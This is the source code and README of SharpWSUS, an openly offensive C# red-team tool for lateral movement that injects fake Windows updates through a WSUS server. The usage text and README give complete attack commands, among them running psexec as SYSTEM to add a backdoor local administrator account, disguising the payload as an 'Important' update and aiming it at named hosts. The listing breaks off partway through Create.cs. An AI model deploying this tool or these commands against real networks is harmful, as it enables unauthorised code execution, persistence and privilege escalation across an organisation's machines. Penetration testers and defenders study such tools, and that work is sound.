├── .gitignore
├── SharpWSUS
├── app.config
├── Commands
│ ├── ICommand.cs
│ ├── Locate.cs
│ ├── Inspect.cs
│ ├── Check.cs
│ ├── Delete.cs
│ ├── Approve.cs
│ └── Create.cs
├── lib
│ ├── ClGuid.cs
│ ├── Connect.cs
│ ├── ClFile.cs
│ ├── Reg.cs
│ ├── Status.cs
│ ├── Enum.cs
│ ├── Server.cs
│ ├── Group.cs
│ └── Build.cs
├── Args
│ ├── ArgumentParserResult.cs
│ ├── ArgumentParser.cs
│ ├── CommandCollection.cs
│ └── Info.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── SharpWSUS.csproj
├── SharpWSUS.sln
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs
2 | *.user
3 | [Dd]ebug/
4 | [Rr]elease/
5 | [Bb]in/
6 | [Oo]bj/
7 | .DS_Store
8 |
9 |
--------------------------------------------------------------------------------
/SharpWSUS/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SharpWSUS/Commands/ICommand.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace SharpWSUS.Commands
4 | {
5 | public interface ICommand
6 | {
7 | void Execute(Dictionary arguments);
8 | }
9 | }
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Locate.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Locate : ICommand
8 | {
9 |
10 | public static string CommandName => "locate";
11 |
12 | public void Execute(Dictionary arguments)
13 | {
14 | Console.WriteLine("[*] Action: Locate WSUS Server");
15 |
16 | Enum.FbGetWSUSServer();
17 |
18 | Console.WriteLine("\r\n[*] Locate complete\r\n");
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/SharpWSUS/lib/ClGuid.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | public class ClGuid
4 | {
5 | public static Guid gUpdate;
6 | public static Guid gBundle;
7 | public static Guid gTargetGroup;
8 | //public ClGuid()
9 | //{
10 | // gUpdate = Guid.NewGuid();
11 | // gBundle = Guid.NewGuid();
12 | // gTargetGroup = Guid.NewGuid();
13 | //}
14 |
15 | public static void GenerateUpdateGUID()
16 | {
17 | gUpdate = Guid.NewGuid();
18 | }
19 |
20 | public static void GenerateBundleGUID()
21 | {
22 | gBundle = Guid.NewGuid();
23 | }
24 | public static void GenerateTargetGroupGUID()
25 | {
26 | gTargetGroup = Guid.NewGuid();
27 | }
28 |
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/SharpWSUS/Args/ArgumentParserResult.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace SharpWSUS.Args
4 | {
5 | public class ArgumentParserResult
6 | {
7 | public bool ParsedOk { get; }
8 | public Dictionary Arguments { get; }
9 |
10 | private ArgumentParserResult(bool parsedOk, Dictionary arguments)
11 | {
12 | ParsedOk = parsedOk;
13 | Arguments = arguments;
14 | }
15 |
16 | public static ArgumentParserResult Success(Dictionary arguments)
17 | => new ArgumentParserResult(true, arguments);
18 |
19 | public static ArgumentParserResult Failure()
20 | => new ArgumentParserResult(false, null);
21 |
22 | }
23 | }
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Inspect.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Inspect : ICommand
8 | {
9 |
10 | public static string CommandName => "inspect";
11 |
12 | public void Execute(Dictionary arguments)
13 | {
14 | Console.WriteLine("[*] Action: Inspect WSUS Server");
15 |
16 | Server.GetServerDetails();
17 | SqlCommand sqlComm = new SqlCommand();
18 | sqlComm.Connection = Connect.FsqlConnection();
19 |
20 | Enum.FbGetWSUSConfigSQL(sqlComm);
21 |
22 | Enum.FbEnumAllComputers(sqlComm);
23 |
24 | Enum.FbEnumDownStream(sqlComm);
25 |
26 | Enum.FbEnumGroups(sqlComm);
27 |
28 | Console.WriteLine("\r\n[*] Inspect complete\r\n");
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/SharpWSUS.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31410.357
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Check.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Check : ICommand
8 | {
9 |
10 | public static string CommandName => "check";
11 |
12 | public void Execute(Dictionary arguments)
13 | {
14 | Console.WriteLine("[*] Action: Check Update");
15 |
16 | string UpdateID = "";
17 | string ComputerName = "";
18 |
19 | if (arguments.ContainsKey("/updateid"))
20 | {
21 | UpdateID = arguments["/updateid"];
22 | }
23 |
24 | if (arguments.ContainsKey("/computername"))
25 | {
26 | ComputerName = arguments["/computername"];
27 | }
28 |
29 | Server.GetServerDetails();
30 | SqlCommand sqlComm = new SqlCommand();
31 | sqlComm.Connection = Connect.FsqlConnection();
32 |
33 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName))
34 | {
35 | return;
36 | }
37 |
38 | if (!Status.FbGetUpdateStatus(sqlComm, UpdateID))
39 | {
40 | return;
41 | }
42 |
43 | Console.WriteLine("\r\n[*] Check complete\r\n");
44 | }
45 | }
46 | }
--------------------------------------------------------------------------------
/SharpWSUS/lib/Connect.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 |
4 | public class Connect
5 | {
6 | public static SqlConnection FsqlConnection()
7 | {
8 | SqlConnection sqlcQuery = new SqlConnection();
9 |
10 | if (Server.sDatabaseInstance.Contains("##WID") || Server.sDatabaseInstance.Contains("##SSEE"))
11 | {
12 | if (Server.sOS.Contains("Server 2008"))
13 | {
14 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + Server.sDatabaseName + @";Integrated Security=True";
15 | }
16 | else
17 | {
18 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=" + Server.sDatabaseName + @"; Integrated Security=True";
19 | }
20 | }
21 | else
22 | {
23 | sqlcQuery.ConnectionString = @"Server=" + Server.sDatabaseInstance + @";Database=" + Server.sDatabaseName + @"; Integrated Security=True";
24 | }
25 |
26 | try
27 | {
28 | sqlcQuery.Open();
29 | }
30 | catch (Exception e)
31 | {
32 | Console.WriteLine("\r\nFunction error - FsqlConnection.");
33 |
34 | Console.WriteLine($"Error Message: {e.Message}");
35 | return null;
36 | }
37 | return sqlcQuery;
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/SharpWSUS/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using SharpWSUS.Args;
4 |
5 | namespace SharpWSUS
6 | {
7 | class Program
8 | {
9 | private static void MainExecute(string commandName, Dictionary parsedArgs)
10 | {
11 | // main execution logic
12 |
13 | Info.ShowLogo();
14 |
15 | try
16 | {
17 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);
18 |
19 | // show the usage if no commands were found for the command name
20 | if (commandFound == false)
21 | Info.ShowUsage();
22 | }
23 | catch (Exception e)
24 | {
25 | Console.WriteLine("\r\n[!] Unhandled SharpWSUS exception:\r\n");
26 | Console.WriteLine(e);
27 | }
28 | }
29 |
30 | public static void Main(string[] args)
31 | {
32 | // try to parse the command line arguments, show usage on failure and then bail
33 | var parsed = ArgumentParser.Parse(args);
34 | if (parsed.ParsedOk == false)
35 | {
36 | Info.ShowLogo();
37 | Info.ShowUsage();
38 | return;
39 | }
40 |
41 | var commandName = args.Length != 0 ? args[0] : "";
42 |
43 | MainExecute(commandName, parsed.Arguments);
44 |
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/SharpWSUS/Args/ArgumentParser.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 | using System.Diagnostics;
3 |
4 | namespace SharpWSUS.Args
5 | {
6 | public static class ArgumentParser
7 | {
8 | public static ArgumentParserResult Parse(IEnumerable args)
9 | {
10 | var arguments = new Dictionary();
11 | try
12 | {
13 | foreach (var argument in args)
14 | {
15 | var idx = argument.IndexOf(':');
16 | if (idx > 0)
17 | {
18 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
19 | }
20 | else
21 | {
22 | idx = argument.IndexOf('=');
23 | if (idx > 0)
24 | {
25 | arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
26 | }
27 | else
28 | {
29 | arguments[argument] = string.Empty;
30 | }
31 | }
32 | }
33 |
34 | return ArgumentParserResult.Success(arguments);
35 | }
36 | catch (System.Exception ex)
37 | {
38 | Debug.WriteLine(ex.Message);
39 | return ArgumentParserResult.Failure();
40 | }
41 | }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/SharpWSUS/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpWSUS")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpWSUS")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("42cabb74-1199-40f1-9354-6294bba8d3a4")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SharpWSUS/Args/CommandCollection.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using SharpWSUS.Commands;
4 |
5 | namespace SharpWSUS.Args
6 | {
7 | public class CommandCollection
8 | {
9 | private readonly Dictionary> _availableCommands = new Dictionary>();
10 |
11 | // How To Add A New Command:
12 | // 1. Create your command class in the Commands Folder
13 | // a. That class must have a CommandName static property that has the Command's name
14 | // and must also Implement the ICommand interface
15 | // b. Put the code that does the work into the Execute() method
16 | // 2. Add an entry to the _availableCommands dictionary in the Constructor below.
17 |
18 | public CommandCollection()
19 | {
20 | _availableCommands.Add(Create.CommandName, () => new Create());
21 | _availableCommands.Add(Approve.CommandName, () => new Approve());
22 | _availableCommands.Add(Check.CommandName, () => new Check());
23 | _availableCommands.Add(Delete.CommandName, () => new Delete());
24 | _availableCommands.Add(Inspect.CommandName, () => new Inspect());
25 | _availableCommands.Add(Locate.CommandName, () => new Locate());
26 |
27 | }
28 |
29 | public bool ExecuteCommand(string commandName, Dictionary arguments)
30 | {
31 | bool commandWasFound;
32 |
33 | if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
34 | commandWasFound= false;
35 | else
36 | {
37 | // Create the command object
38 | var command = _availableCommands[commandName].Invoke();
39 |
40 | // and execute it with the arguments from the command line
41 | command.Execute(arguments);
42 |
43 | commandWasFound = true;
44 | }
45 |
46 | return commandWasFound;
47 | }
48 | }
49 | }
--------------------------------------------------------------------------------
/SharpWSUS/lib/ClFile.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Security.Cryptography;
4 | using System.Web;
5 |
6 | public class ClFile
7 | {
8 | public static string sFileName;
9 | public static string sPayload;
10 | public static string sFilePath;
11 | public static string sArgs;
12 | public static long lSize;
13 | public static string sSHA1;
14 | public static string sSHA256;
15 |
16 | public ClFile(string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile)
17 | {
18 | sFilePath = sPFilePath;
19 | sFileName = System.IO.Path.GetFileName(sFilePath);
20 | sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs));
21 | if (bPCopyFile == true)
22 | {
23 | FbCopyFile(sFilePath, sContentLocation);
24 | }
25 | lSize = new System.IO.FileInfo(sFilePath).Length;
26 | sSHA1 = GetBase64EncodedSHA1Hash(sFilePath);
27 | sSHA256 = GetBase64EncodedSHA256Hash(sFilePath);
28 | }
29 | public static bool FbCopyFile(string sFilePath, string sContentLocation)
30 | {
31 | try
32 | {
33 | //Console.WriteLine(sFilePath);
34 | //Console.WriteLine(sContentLocation);
35 | File.Copy(sFilePath, sContentLocation + @"\wuagent.exe", true);
36 | return true;
37 | }
38 | catch (Exception e)
39 | {
40 | Console.WriteLine("\r\nFunction error - FbCopyFile.");
41 |
42 | Console.WriteLine($"Error Message: {e.Message}");
43 | return false;
44 | }
45 | }
46 | //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543
47 | public string GetBase64EncodedSHA1Hash(string filename)
48 | {
49 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read);
50 | SHA1Managed sha1 = new SHA1Managed();
51 | {
52 | return Convert.ToBase64String(sha1.ComputeHash(fs));
53 | }
54 | }
55 | public string GetBase64EncodedSHA256Hash(string filename)
56 | {
57 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read);
58 | SHA256Managed sha256 = new SHA256Managed();
59 | {
60 | return Convert.ToBase64String(sha256.ComputeHash(fs));
61 | }
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Delete.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Delete : ICommand
8 | {
9 |
10 | public static string CommandName => "delete";
11 |
12 | public void Execute(Dictionary arguments)
13 | {
14 | Console.WriteLine("[*] Action: Delete Update");
15 |
16 | string UpdateID = "";
17 | string ComputerName = "";
18 | string GroupName = "InjectGroup";
19 | bool KeepGroup = false;
20 |
21 | if (arguments.ContainsKey("/updateid"))
22 | {
23 | UpdateID = arguments["/updateid"];
24 | }
25 |
26 | if (arguments.ContainsKey("/computername"))
27 | {
28 | ComputerName = arguments["/computername"];
29 | }
30 |
31 | if (arguments.ContainsKey("/groupname"))
32 | {
33 | GroupName = arguments["/groupname"];
34 | }
35 |
36 | if (arguments.ContainsKey("/keepgroup"))
37 | {
38 | KeepGroup = true;
39 | }
40 |
41 | Server.GetServerDetails();
42 | SqlCommand sqlComm = new SqlCommand();
43 | sqlComm.Connection = Connect.FsqlConnection();
44 |
45 |
46 | if (!Status.FbDeleteUpdate(sqlComm, UpdateID))
47 | {
48 | return;
49 | }
50 |
51 | if (ComputerName != "")
52 | {
53 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName))
54 | {
55 | return;
56 | }
57 |
58 | if (!Group.FbGetGroupID(sqlComm, GroupName))
59 | {
60 | return;
61 | }
62 |
63 | if (!Group.FbRemoveComputerFromGroup(sqlComm, Server.sTargetComputerTargetID))
64 | {
65 | return;
66 | }
67 |
68 | if (KeepGroup == false)
69 | {
70 | if (!Group.FbRemoveGroup(sqlComm))
71 | {
72 | return;
73 | }
74 | }
75 | }
76 |
77 | Console.WriteLine("\r\n[*] Delete complete\r\n");
78 |
79 | }
80 | }
81 | }
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Approve.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Approve : ICommand
8 | {
9 |
10 | public static string CommandName => "approve";
11 |
12 | public void Execute(Dictionary arguments)
13 | {
14 | Console.WriteLine("[*] Action: Approve Update");
15 |
16 | string UpdateID = "";
17 | string ComputerName = "";
18 | string GroupName = "InjectGroup";
19 | string Approver = "WUS Server";
20 | Group.GroupExists = false;
21 |
22 | if (arguments.ContainsKey("/updateid"))
23 | {
24 | UpdateID = arguments["/updateid"];
25 | }
26 |
27 | if (arguments.ContainsKey("/computername"))
28 | {
29 | ComputerName = arguments["/computername"];
30 | }
31 |
32 | if (arguments.ContainsKey("/groupname"))
33 | {
34 | GroupName = arguments["/groupname"];
35 | }
36 |
37 | if (arguments.ContainsKey("/approver"))
38 | {
39 | Approver = arguments["/approver"];
40 | }
41 |
42 | Server.GetServerDetails();
43 | SqlCommand sqlComm = new SqlCommand();
44 | sqlComm.Connection = Connect.FsqlConnection();
45 |
46 | ClGuid.GenerateTargetGroupGUID();
47 |
48 | if (!Group.FbGetComputerTarget(sqlComm, ComputerName))
49 | {
50 | return;
51 | }
52 |
53 | if (!Group.FbGetGroupID(sqlComm, GroupName))
54 | {
55 | return;
56 | }
57 |
58 | Console.WriteLine("Group Exists = {0}", Group.GroupExists);
59 | if (Group.GroupExists == false)
60 | {
61 | if (!Group.FbCreateGroup(sqlComm, GroupName))
62 | {
63 | return;
64 | }
65 | }
66 |
67 | if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID))
68 | {
69 | return;
70 | }
71 |
72 | if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver))
73 | {
74 | return;
75 | }
76 |
77 | Console.WriteLine("\r\n[*] Approve complete\r\n");
78 | return;
79 | }
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/SharpWSUS/Args/Info.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpWSUS.Args
4 | {
5 | public static class Info
6 | {
7 | public static void ShowLogo()
8 | {
9 | string logo = @"
10 | ____ _ __ ______ _ _ ____
11 | / ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
12 | \___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
13 | ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
14 | |____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
15 | |_|
16 | Phil Keeble @ Nettitude Red Team
17 | ";
18 | Console.WriteLine(logo);
19 | }
20 |
21 | public static void ShowUsage()
22 | {
23 | string usage = @"
24 | Commands listed below have optional parameters in <>.
25 |
26 | Locate the WSUS server:
27 | SharpWSUS.exe locate
28 |
29 | Inspect the WSUS server, enumerating clients, servers and existing groups:
30 | SharpWSUS.exe inspect
31 |
32 | Create an update (NOTE: The payload has to be a windows signed binary):
33 | SharpWSUS.exe create /payload:[File location] /args:[Args for payload]
34 |
35 | Approve an update:
36 | SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target]
37 |
38 | Check status of an update:
39 | SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
40 |
41 | Delete update and clean up groups added:
42 | SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN]
43 |
44 | ##### Examples ######
45 | Executing whoami as SYSTEM on a remote machine:
46 | SharpWSUS.exe inspect
47 | SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com""
48 | SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group""
49 | SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1
50 | SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group""
51 | ";
52 | Console.WriteLine(usage);
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpWSUS
2 |
3 | SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection.
4 |
5 | ## Credits
6 |
7 | Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.
8 |
9 | * https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
10 | * https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS
11 |
12 | ## Help Menu
13 |
14 | ```
15 | ____ _ __ ______ _ _ ____
16 | / ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
17 | \___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
18 | ___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
19 | |____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
20 | |_|
21 | Phil Keeble @ Nettitude Red Team
22 |
23 |
24 | Commands listed below have optional parameters in <>.
25 |
26 | Locate the WSUS server:
27 | SharpWSUS.exe locate
28 |
29 | Inspect the WSUS server, enumerating clients, servers and existing groups:
30 | SharpWSUS.exe inspect
31 |
32 | Create an update (NOTE: The payload has to be a windows signed binary):
33 | SharpWSUS.exe create /payload:[File location] /args:[Args for payload]
34 |
35 | Approve an update:
36 | SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target]
37 |
38 | Check status of an update:
39 | SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
40 |
41 | Delete update and clean up groups added:
42 | SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN]
43 | ```
44 |
45 | ## Example Usage
46 |
47 | ```
48 | sharpwsus locate
49 |
50 | sharpwsus inspect
51 |
52 | sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
53 |
54 | sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
55 |
56 | sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
57 |
58 | sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
59 | ```
60 |
61 | ## Notes
62 |
63 | * Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement.
64 | * The metadata on the create command is not needed, but is useful for blending in to the environment.
65 | * If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)
--------------------------------------------------------------------------------
/SharpWSUS/lib/Reg.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Runtime.InteropServices;
4 |
5 | public class Reg
6 | {
7 | public enum RegSAM
8 | {
9 | QueryValue = 0x0001,
10 | SetValue = 0x0002,
11 | CreateSubKey = 0x0004,
12 | EnumerateSubKeys = 0x0008,
13 | Notify = 0x0010,
14 | CreateLink = 0x0020,
15 | WOW64_32Key = 0x0200,
16 | WOW64_64Key = 0x0100,
17 | WOW64_Res = 0x0300,
18 | Read = 0x00020019,
19 | Write = 0x00020006,
20 | Execute = 0x00020019,
21 | AllAccess = 0x000f003f
22 | }
23 | public static class RegHive
24 | {
25 | public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
26 | public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u);
27 | }
28 | public static class RegistryWOW6432
29 | {
30 | [DllImport("Advapi32.dll")]
31 | static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult);
32 |
33 | [DllImport("Advapi32.dll")]
34 | static extern uint RegCloseKey(int hKey);
35 |
36 | [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")]
37 | public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData);
38 |
39 | static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName)
40 | {
41 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName);
42 | }
43 |
44 | static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName)
45 | {
46 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName);
47 | }
48 |
49 | public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName)
50 | {
51 | //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002;
52 | int hkey = 0;
53 |
54 | try
55 | {
56 | uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey);
57 | if (0 != lResult)
58 | {
59 | return "ERROR_FILE_NOT_FOUND";
60 | }
61 | uint lpType = 0;
62 | uint lpcbData = 1024;
63 | StringBuilder AgeBuffer = new StringBuilder(1024);
64 | uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData);
65 | if (lResultv != 0)
66 | {
67 | return "ERROR_FILE_NOT_FOUND";
68 | }
69 | byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString());
70 | return ByteArrayToString(arr);
71 | }
72 | finally
73 | {
74 | if (0 != hkey) RegCloseKey(hkey);
75 | }
76 | }
77 | public static string ByteArrayToString(byte[] ba)
78 | {
79 | if (BitConverter.IsLittleEndian)
80 | Array.Reverse(ba);
81 |
82 | string hex = BitConverter.ToString(ba);
83 | return hex.Replace("-", "");
84 | }
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/SharpWSUS/SharpWSUS.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {42CABB74-1199-40F1-9354-6294BBA8D3A4}
8 | Exe
9 | SharpWSUS
10 | SharpWSUS
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/SharpWSUS/Commands/Create.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data.SqlClient;
3 | using System.Collections.Generic;
4 |
5 | namespace SharpWSUS.Commands
6 | {
7 | public class Create : ICommand
8 | {
9 |
10 | public static string CommandName => "create";
11 | public static int iRevisionID;
12 | public static string PayloadPath = "";
13 | public static string PayloadArgs = "";
14 | public static string UpdateTitle = "SharpWSUS Update";
15 | public static string UpdateDate = "2021-09-26";
16 | public static string UpdateRating = "Important";
17 | public static string UpdateMSRC = "";
18 | public static string UpdateKB = "5006103";
19 | public static string UpdateDescription = "Install this update to resolve issues in Windows.";
20 | public static string UpdateURL = @"https://www.nettitude.com";
21 |
22 | public void Execute(Dictionary arguments)
23 | {
24 | Console.WriteLine("[*] Action: Create Update");
25 |
26 | if (arguments.ContainsKey("/payload"))
27 | {
28 | PayloadPath = arguments["/payload"];
29 | }
30 |
31 | if (arguments.ContainsKey("/args"))
32 | {
33 | PayloadArgs = arguments["/args"];
34 | }
35 |
36 | if (arguments.ContainsKey("/title"))
37 | {
38 | UpdateTitle = arguments["/title"];
39 | }
40 |
41 | if (arguments.ContainsKey("/date"))
42 | {
43 | UpdateDate = arguments["/date"];
44 | }
45 |
46 | if (arguments.ContainsKey("/rating"))
